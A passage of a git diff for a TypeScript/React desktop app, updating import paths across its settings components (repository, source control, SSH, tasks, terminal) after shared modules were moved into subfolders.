b/src/renderer/src/components/settings/repository/runtime/ProjectWindowsRuntimeSetting.tsx index 39b31caaf0b..a2249e18db5 100644 --- a/src/renderer/src/components/settings/repository/runtime/ProjectWindowsRuntimeSetting.tsx +++ b/src/renderer/src/components/settings/repository/runtime/ProjectWindowsRuntimeSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Project, ProjectUpdateArgs } from '../../../../../../shared/project/project-types' import { diff --git a/src/renderer/src/components/settings/repository/runtime/RepositoryWindowsRuntimeSection.tsx b/src/renderer/src/components/settings/repository/runtime/RepositoryWindowsRuntimeSection.tsx index cd8dc98c786..0126e440475 100644 --- a/src/renderer/src/components/settings/repository/runtime/RepositoryWindowsRuntimeSection.tsx +++ b/src/renderer/src/components/settings/repository/runtime/RepositoryWindowsRuntimeSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Project, ProjectUpdateArgs } from '../../../../../../shared/project/project-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import { SearchableSetting } from '../../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/repository/source-control/RepositoryForkSyncSection.tsx b/src/renderer/src/components/settings/repository/source-control/RepositoryForkSyncSection.tsx index f8fdc80ab74..8572daa1de6 100644 --- a/src/renderer/src/components/settings/repository/source-control/RepositoryForkSyncSection.tsx +++ b/src/renderer/src/components/settings/repository/source-control/RepositoryForkSyncSection.tsx @@ -13,7 +13,7 @@ import { SettingsSegmentedControl } from '../../form-controls/SettingsFormContro import { syncRuntimeGitForkDefaultBranch } from '../../../../runtime/source-control/git/runtime-git-sync-client' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import { UNRESOLVED_GIT_HOST_ERROR } from '@/store/slices/editor/git/git-operation-target' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { searchKeywords } from '../../search/settings-search-keywords' diff --git a/src/renderer/src/components/settings/repository/source-control/RepositoryGitHubAccountSection.tsx b/src/renderer/src/components/settings/repository/source-control/RepositoryGitHubAccountSection.tsx index b2d46641451..2eb40b7b463 100644 --- a/src/renderer/src/components/settings/repository/source-control/RepositoryGitHubAccountSection.tsx +++ b/src/renderer/src/components/settings/repository/source-control/RepositoryGitHubAccountSection.tsx @@ -11,7 +11,7 @@ import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime- import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' import { searchKeywords } from '../../search/settings-search-keywords' import { diff --git a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-action-agent-draft.ts b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-action-agent-draft.ts index a8b71989f35..89a054f1c50 100644 --- a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-action-agent-draft.ts +++ b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-action-agent-draft.ts @@ -5,7 +5,7 @@ import type { SourceControlActionLaunchPreferences } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' import type { RepoSourceControlAiOverrides } from '../../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { normalizeRepoAiDraft, setActionOverride } from './repository-source-control-ai-draft' import type { RepoActionRecipe } from './repository-source-control-ai-recipe-completion' diff --git a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-draft.ts b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-draft.ts index d8e8dfe8c17..2670a985a1b 100644 --- a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-draft.ts +++ b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-draft.ts @@ -17,7 +17,7 @@ import { } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' import type { RepoSourceControlAiOverrides } from '../../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { withRepoTextModelEdits } from '../../source-control/text-actions/source-control-text-action-model-replay' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { SOURCE_CONTROL_TEXT_ACTION_ID_SET } from '../../source-control/source-control-action-recipe-options' export function hasOwnActionOverride( diff --git a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-global-ux-types.ts b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-global-ux-types.ts index 94b60f2c354..ddc4cb31028 100644 --- a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-global-ux-types.ts +++ b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-global-ux-types.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { RepoSourceControlAiOverrides, SourceControlAiSettings diff --git a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-recipe-completion.ts b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-recipe-completion.ts index 971de67c0df..60d131a681e 100644 --- a/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-recipe-completion.ts +++ b/src/renderer/src/components/settings/repository/source-control/repository-source-control-ai-recipe-completion.ts @@ -6,7 +6,7 @@ import { type SourceControlActionId } from '../../../../../../shared/source-control/ai/recipes/source-control-ai-actions' import type { RepoSourceControlAiOverrides } from '../../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' export type RepoActionRecipe = NonNullable< NonNullable[SourceControlActionId] diff --git a/src/renderer/src/components/settings/repository/workspace-cleanup/RepositoryWorkspaceCleanupSection.tsx b/src/renderer/src/components/settings/repository/workspace-cleanup/RepositoryWorkspaceCleanupSection.tsx index 106d264a36f..3d9747fa845 100644 --- a/src/renderer/src/components/settings/repository/workspace-cleanup/RepositoryWorkspaceCleanupSection.tsx +++ b/src/renderer/src/components/settings/repository/workspace-cleanup/RepositoryWorkspaceCleanupSection.tsx @@ -1,6 +1,6 @@ import { useState } from 'react' import type { Repo } from '../../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { withEveryRuleOff, type RepoWorkspaceCleanupPolicy diff --git a/src/renderer/src/components/settings/repository/worktrees/RepositoryWorktreeDefaultsSection.tsx b/src/renderer/src/components/settings/repository/worktrees/RepositoryWorktreeDefaultsSection.tsx index aa845cf4b23..5def69b115a 100644 --- a/src/renderer/src/components/settings/repository/worktrees/RepositoryWorktreeDefaultsSection.tsx +++ b/src/renderer/src/components/settings/repository/worktrees/RepositoryWorktreeDefaultsSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import { Button } from '../../../ui/button' import { Label } from '../../../ui/label' @@ -7,7 +7,7 @@ import { BaseRefPicker } from '../../../source-control/BaseRefPicker' import { RepoSettingsDraftInput } from '../RepositorySettingsDraftInput' import { SearchableSetting } from '../../section-layout/SearchableSetting' import { useTranslate } from '@/i18n/use-translate' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { effectiveExternalWorktreeVisibility, isLegacyRepoForExternalWorktreeVisibility diff --git a/src/renderer/src/components/settings/repository/worktrees/WorktreeSymlinksSection.tsx b/src/renderer/src/components/settings/repository/worktrees/WorktreeSymlinksSection.tsx index d7eac26ef1b..9daf0b7626f 100644 --- a/src/renderer/src/components/settings/repository/worktrees/WorktreeSymlinksSection.tsx +++ b/src/renderer/src/components/settings/repository/worktrees/WorktreeSymlinksSection.tsx @@ -15,7 +15,7 @@ import { useTranslate } from '@/i18n/use-translate' import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { SettingsGroup } from '../../section-layout/SettingsGroup' type WorktreeSymlinksSectionProps = { diff --git a/src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.tsx b/src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.tsx index 2b59c879f05..2de043a0d32 100644 --- a/src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.tsx +++ b/src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.tsx @@ -1,5 +1,5 @@ import { useEffect, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { useAppStore } from '@/store/index' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-mutation-actions.ts b/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-mutation-actions.ts index cb20b2ac004..676437b075c 100644 --- a/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-mutation-actions.ts +++ b/src/renderer/src/components/settings/runtime-environments/catalog/use-runtime-environment-mutation-actions.ts @@ -2,7 +2,7 @@ import { useState, type MutableRefObject } from 'react' import { toast } from 'sonner' import { useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { PublicKnownRuntimeEnvironment } from '../../../../../../shared/remote-runtime/host-catalog/runtime-environments' import type { RuntimeStatus } from '../../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { isRuntimeEnvironmentRemovalBlocked } from './runtime-environment-host-details' diff --git a/src/renderer/src/components/settings/search/setting-labels.ts b/src/renderer/src/components/settings/search/setting-labels.ts index b07b64b58e7..a1de2f6c353 100644 --- a/src/renderer/src/components/settings/search/setting-labels.ts +++ b/src/renderer/src/components/settings/search/setting-labels.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' export const SETTING_LABELS: Partial> = { terminalFontSize: 'Font Size', diff --git a/src/renderer/src/components/settings/session-history/SessionHistoryServerRow.tsx b/src/renderer/src/components/settings/session-history/SessionHistoryServerRow.tsx index 522558bb907..f07f4396c6d 100644 --- a/src/renderer/src/components/settings/session-history/SessionHistoryServerRow.tsx +++ b/src/renderer/src/components/settings/session-history/SessionHistoryServerRow.tsx @@ -1,6 +1,6 @@ import { useEffect, useState } from 'react' import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useMountedRef } from '@/hooks/useMountedRef' import { useIntlLocale, useTranslate } from '@/i18n/use-translate' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx b/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx index 77b41ad28a8..2600d12c71d 100644 --- a/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx +++ b/src/renderer/src/components/settings/session-history/SessionHistorySettingsPane.tsx @@ -1,5 +1,5 @@ import { useCallback, useEffect, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { AiVaultSearchSettingsSchema, resolveAiVaultSearchSettings @@ -8,7 +8,7 @@ import { getLocalExecutionHostLabel, LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { Button } from '@/components/ui/button' import { Label } from '@/components/ui/label' import { translateLocalExecutionHostLabel } from '@/components/sidebar/execution-host-label' diff --git a/src/renderer/src/components/settings/shortcuts/KeybindingsFileActions.tsx b/src/renderer/src/components/settings/shortcuts/KeybindingsFileActions.tsx index cd654facaaa..527217946b0 100644 --- a/src/renderer/src/components/settings/shortcuts/KeybindingsFileActions.tsx +++ b/src/renderer/src/components/settings/shortcuts/KeybindingsFileActions.tsx @@ -1,8 +1,8 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import React from 'react' import { ChevronDown, Code2, ExternalLink, FileText, FolderOpen, RefreshCw } from 'lucide-react' import { toast } from 'sonner' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { useAppStore } from '../../../store/index' import { revealFloatingWorkspacePanel } from '../../floating-terminal/workspace/floating-workspace-panel-reveal' import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect' diff --git a/src/renderer/src/components/settings/source-control/AutoRenameBranchFromWorkSetting.tsx b/src/renderer/src/components/settings/source-control/AutoRenameBranchFromWorkSetting.tsx index ceabbe37c75..4319bca474c 100644 --- a/src/renderer/src/components/settings/source-control/AutoRenameBranchFromWorkSetting.tsx +++ b/src/renderer/src/components/settings/source-control/AutoRenameBranchFromWorkSetting.tsx @@ -1,6 +1,6 @@ import { useCallback, useEffect, useRef, useState } from 'react' import { ChevronDown } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SourceControlAiSettingsPatch, SourceControlAiSettings diff --git a/src/renderer/src/components/settings/source-control/CommitMessageAiPane.tsx b/src/renderer/src/components/settings/source-control/CommitMessageAiPane.tsx index f3ba9a65391..56ed9eb9900 100644 --- a/src/renderer/src/components/settings/source-control/CommitMessageAiPane.tsx +++ b/src/renderer/src/components/settings/source-control/CommitMessageAiPane.tsx @@ -1,6 +1,6 @@ import { useRef } from 'react' import type React from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { diff --git a/src/renderer/src/components/settings/source-control/CompareAgainstUpstreamSetting.tsx b/src/renderer/src/components/settings/source-control/CompareAgainstUpstreamSetting.tsx index 5c8fbe2e2e8..e9359661a8b 100644 --- a/src/renderer/src/components/settings/source-control/CompareAgainstUpstreamSetting.tsx +++ b/src/renderer/src/components/settings/source-control/CompareAgainstUpstreamSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translate } from '@/i18n/i18n' import { useTranslate, type Translate } from '@/i18n/use-translate' import { SearchableSetting } from '../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/source-control/GitPane.tsx b/src/renderer/src/components/settings/source-control/GitPane.tsx index 5e499a9c542..07c10a8a0e1 100644 --- a/src/renderer/src/components/settings/source-control/GitPane.tsx +++ b/src/renderer/src/components/settings/source-control/GitPane.tsx @@ -1,6 +1,6 @@ import { useEffect, useId, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { SourceControlGroupOrder } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { SourceControlGroupOrder } from '../../../../../shared/ui-chrome/ui-chrome-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { normalizeSourceControlGroupOrder } from '../../../../../shared/source-control/listing/source-control-group-order' import { Input } from '../../ui/input' diff --git a/src/renderer/src/components/settings/source-control/GitProviderApiBudgetPane.tsx b/src/renderer/src/components/settings/source-control/GitProviderApiBudgetPane.tsx index 3ee10f3faea..405ad6106ae 100644 --- a/src/renderer/src/components/settings/source-control/GitProviderApiBudgetPane.tsx +++ b/src/renderer/src/components/settings/source-control/GitProviderApiBudgetPane.tsx @@ -6,7 +6,7 @@ import { GitHubRateLimitPanel } from '../../github/github-rate-limit-display' import { GitLabRateLimitPanel } from '../../gitlab/gitlab-rate-limit-display' import { useTranslate } from '@/i18n/use-translate' import type { SettingsHostScope } from '../host-scope/settings-host-scope' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { PRAutoRefreshSetting } from './PRAutoRefreshSetting' import { prAutoRefreshMatchesSearch } from './pr-auto-refresh-search' diff --git a/src/renderer/src/components/settings/source-control/PRAutoRefreshSetting.tsx b/src/renderer/src/components/settings/source-control/PRAutoRefreshSetting.tsx index f964df32fa8..535e923726e 100644 --- a/src/renderer/src/components/settings/source-control/PRAutoRefreshSetting.tsx +++ b/src/renderer/src/components/settings/source-control/PRAutoRefreshSetting.tsx @@ -1,6 +1,6 @@ import { useEffect } from 'react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { normalizePRAutoRefreshCadence, diff --git a/src/renderer/src/components/settings/source-control/SourceControlActionRecipeRow.tsx b/src/renderer/src/components/settings/source-control/SourceControlActionRecipeRow.tsx index 693d54a9c9b..a79a80c8413 100644 --- a/src/renderer/src/components/settings/source-control/SourceControlActionRecipeRow.tsx +++ b/src/renderer/src/components/settings/source-control/SourceControlActionRecipeRow.tsx @@ -13,7 +13,7 @@ import { import { canonicalSourceControlActionSelection } from '../../../../../shared/source-control/ai/recipes/source-control-action-selection' import type { ActionArgumentChoices } from '../../../../../shared/source-control/ai/recipes/source-control-action-argument-document' import { SourceControlActionAgentPicker } from './SourceControlActionAgentPicker' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { CustomAgentId } from '../../../../../shared/source-control/ai/generation/commit-message-agent-spec' import { isCustomAgentId } from '../../../../../shared/source-control/ai/generation/commit-message-agent-spec' diff --git a/src/renderer/src/components/settings/source-control/SourceControlAiActionRecipeDefaults.tsx b/src/renderer/src/components/settings/source-control/SourceControlAiActionRecipeDefaults.tsx index 2e4e1022297..4ff794b5663 100644 --- a/src/renderer/src/components/settings/source-control/SourceControlAiActionRecipeDefaults.tsx +++ b/src/renderer/src/components/settings/source-control/SourceControlAiActionRecipeDefaults.tsx @@ -1,7 +1,7 @@ import { useMemo } from 'react' import type React from 'react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { isFolderRepo } from '../../../../../shared/repository/repo-kind' import type { diff --git a/src/renderer/src/components/settings/source-control/source-control-action-card-layout.test.tsx b/src/renderer/src/components/settings/source-control/source-control-action-card-layout.test.tsx index dcd59ba10ef..db3a5f234d5 100644 --- a/src/renderer/src/components/settings/source-control/source-control-action-card-layout.test.tsx +++ b/src/renderer/src/components/settings/source-control/source-control-action-card-layout.test.tsx @@ -6,7 +6,7 @@ import { fireEvent, render, screen, within, waitFor } from '@testing-library/rea import { afterEach, beforeEach, expect, it, vi } from 'vitest' import '../__fixtures__/settings-persistence-test-fixture' import { useAppStore } from '@/store/index' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import type { AiActionId, diff --git a/src/renderer/src/components/settings/source-control/text-actions/SourceControlTextActionAgentPicker.tsx b/src/renderer/src/components/settings/source-control/text-actions/SourceControlTextActionAgentPicker.tsx index b6ae73cffc1..ec3f831b92c 100644 --- a/src/renderer/src/components/settings/source-control/text-actions/SourceControlTextActionAgentPicker.tsx +++ b/src/renderer/src/components/settings/source-control/text-actions/SourceControlTextActionAgentPicker.tsx @@ -12,7 +12,7 @@ import { useTranslate } from '@/i18n/use-translate' import { getRepoExecutionHostId, parseRoutableExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { getRepoCommitMessageModelDiscoveryHostKey, LOCAL_COMMIT_MESSAGE_HOST_KEY diff --git a/src/renderer/src/components/settings/source-control/text-actions/source-control-text-action-picker-save.ts b/src/renderer/src/components/settings/source-control/text-actions/source-control-text-action-picker-save.ts index 447560728b2..6e995c64f2b 100644 --- a/src/renderer/src/components/settings/source-control/text-actions/source-control-text-action-picker-save.ts +++ b/src/renderer/src/components/settings/source-control/text-actions/source-control-text-action-picker-save.ts @@ -17,7 +17,7 @@ import type { SourceControlAiModelChoice, RepoSourceControlAiOverrides } from '../../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' export function saveSourceControlTextPickerDraft({ diff --git a/src/renderer/src/components/settings/source-control/use-global-text-action-recipe-draft.ts b/src/renderer/src/components/settings/source-control/use-global-text-action-recipe-draft.ts index b6efd047bd2..82f1b28f0cf 100644 --- a/src/renderer/src/components/settings/source-control/use-global-text-action-recipe-draft.ts +++ b/src/renderer/src/components/settings/source-control/use-global-text-action-recipe-draft.ts @@ -1,5 +1,5 @@ import { useCallback, useLayoutEffect, useMemo, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { normalizeSourceControlAiSettings } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings' import { diff --git a/src/renderer/src/components/settings/source-control/use-source-control-action-agent.ts b/src/renderer/src/components/settings/source-control/use-source-control-action-agent.ts index 20eae98ad73..a379cbdc478 100644 --- a/src/renderer/src/components/settings/source-control/use-source-control-action-agent.ts +++ b/src/renderer/src/components/settings/source-control/use-source-control-action-agent.ts @@ -3,7 +3,7 @@ import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-ag import { isCustomAgentId } from '../../../../../shared/source-control/ai/generation/commit-message-agent-spec' import { pickSourceControlLaunchAgent } from '../../../../../shared/source-control/ai/source-control-launch-agent-selection' import type { SourceControlActionRecipe } from '../../../../../shared/source-control/ai/recipes/source-control-ai-actions' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { readNativeDetectedAgents } from '@/store/slices/agent-inventory/local-detected-agent-store-state' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/settings/ssh/SshPane.tsx b/src/renderer/src/components/settings/ssh/SshPane.tsx index 42be72e72ad..1ad9cf2aecc 100644 --- a/src/renderer/src/components/settings/ssh/SshPane.tsx +++ b/src/renderer/src/components/settings/ssh/SshPane.tsx @@ -34,7 +34,7 @@ import { import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error' import { resolveSshHostRemoval } from '../../sidebar/ssh-host-remove-resolution' import { getIndexedAllWorktrees } from '@/store/slices/worktrees/listing/worktree-catalog-index' -import { toSshExecutionHostId } from '../../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import { useSshAddTargetIntent } from './targets/use-ssh-add-target-intent' diff --git a/src/renderer/src/components/settings/tasks/JiraIssueKeyCasingSetting.tsx b/src/renderer/src/components/settings/tasks/JiraIssueKeyCasingSetting.tsx index 93616e8c350..a3098248984 100644 --- a/src/renderer/src/components/settings/tasks/JiraIssueKeyCasingSetting.tsx +++ b/src/renderer/src/components/settings/tasks/JiraIssueKeyCasingSetting.tsx @@ -1,5 +1,5 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' -import type { JiraIssueKeyCasing } from '../../../../../shared/ui-chrome-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' +import type { JiraIssueKeyCasing } from '../../../../../shared/ui-chrome/ui-chrome-types' import { translate } from '@/i18n/i18n' import { useTranslate } from '@/i18n/use-translate' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/settings/tasks/TasksPane.tsx b/src/renderer/src/components/settings/tasks/TasksPane.tsx index 88d0e47ed9d..50bfd341ed7 100644 --- a/src/renderer/src/components/settings/tasks/TasksPane.tsx +++ b/src/renderer/src/components/settings/tasks/TasksPane.tsx @@ -1,6 +1,6 @@ import { useState } from 'react' import { Github, Gitlab } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { type TaskProvider, diff --git a/src/renderer/src/components/settings/terminal/TerminalAdvancedSection.tsx b/src/renderer/src/components/settings/terminal/TerminalAdvancedSection.tsx index 315f6fc5a8a..7ea2275e7f3 100644 --- a/src/renderer/src/components/settings/terminal/TerminalAdvancedSection.tsx +++ b/src/renderer/src/components/settings/terminal/TerminalAdvancedSection.tsx @@ -1,7 +1,7 @@ import { TerminalLimitSetting } from './session-management/TerminalLimitSetting' import type { SettingsHostScope } from '../host-scope/settings-host-scope' import { useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { TERMINAL_DEFAULT_WORD_SEPARATOR } from '../../../../../shared/terminal/input/terminal-word-separator' import { DESKTOP_TERMINAL_SCROLLBACK_ROWS_MAX, diff --git a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.fixture.tsx b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.fixture.tsx index 94f35bc709a..475184746b9 100644 --- a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.fixture.tsx +++ b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { TerminalInteractionSection } from './TerminalInteractionSection' const settings = getDefaultSettings('/home/fixture') diff --git a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx index 2f8bb1cf5f3..036fb75004a 100644 --- a/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx +++ b/src/renderer/src/components/settings/terminal/TerminalInteractionSection.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { RotateCcw } from 'lucide-react' import { Button } from '../../ui/button' import { Label } from '../../ui/label' diff --git a/src/renderer/src/components/settings/terminal/TerminalPane.tsx b/src/renderer/src/components/settings/terminal/TerminalPane.tsx index a7cba47529d..a9867346338 100644 --- a/src/renderer/src/components/settings/terminal/TerminalPane.tsx +++ b/src/renderer/src/components/settings/terminal/TerminalPane.tsx @@ -1,7 +1,7 @@ import type { SettingsHostScope } from '../host-scope/settings-host-scope' import { useState } from 'react' import { ChevronDown } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Textarea } from '../../ui/textarea' import { Collapsible, CollapsibleContent, CollapsibleTrigger } from '../../ui/collapsible' import { cn } from '@/lib/class-names' diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx index 42f10790177..da86c299971 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalAdvancedTypographyControls.tsx @@ -21,7 +21,7 @@ import { useTranslate } from '@/i18n/use-translate' import { defaultTerminalFontWeight } from '../../../../../../shared/terminal/appearance/terminal-platform-defaults' import { isWindowsDesktopClient } from '@/lib/files/os-open/windows-path-access' import { getTerminalAdvancedTypographySearchEntries } from './terminal-typography-search' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' type TerminalAdvancedTypographyControlsProps = { settings: GlobalSettings diff --git a/src/renderer/src/components/settings/terminal/appearance/TerminalAppearanceSection.tsx b/src/renderer/src/components/settings/terminal/appearance/TerminalAppearanceSection.tsx index bc12b24b06b..bb2e1fa5a08 100644 --- a/src/renderer/src/components/settings/terminal/appearance/TerminalAppearanceSection.tsx +++ b/src/renderer/src/components/settings/terminal/appearance/TerminalAppearanceSection.tsx @@ -1,6 +1,6 @@ import { Cat } from 'lucide-react' import { Fragment, useState, type ReactNode } from 'react' -import type { GlobalSettings } from 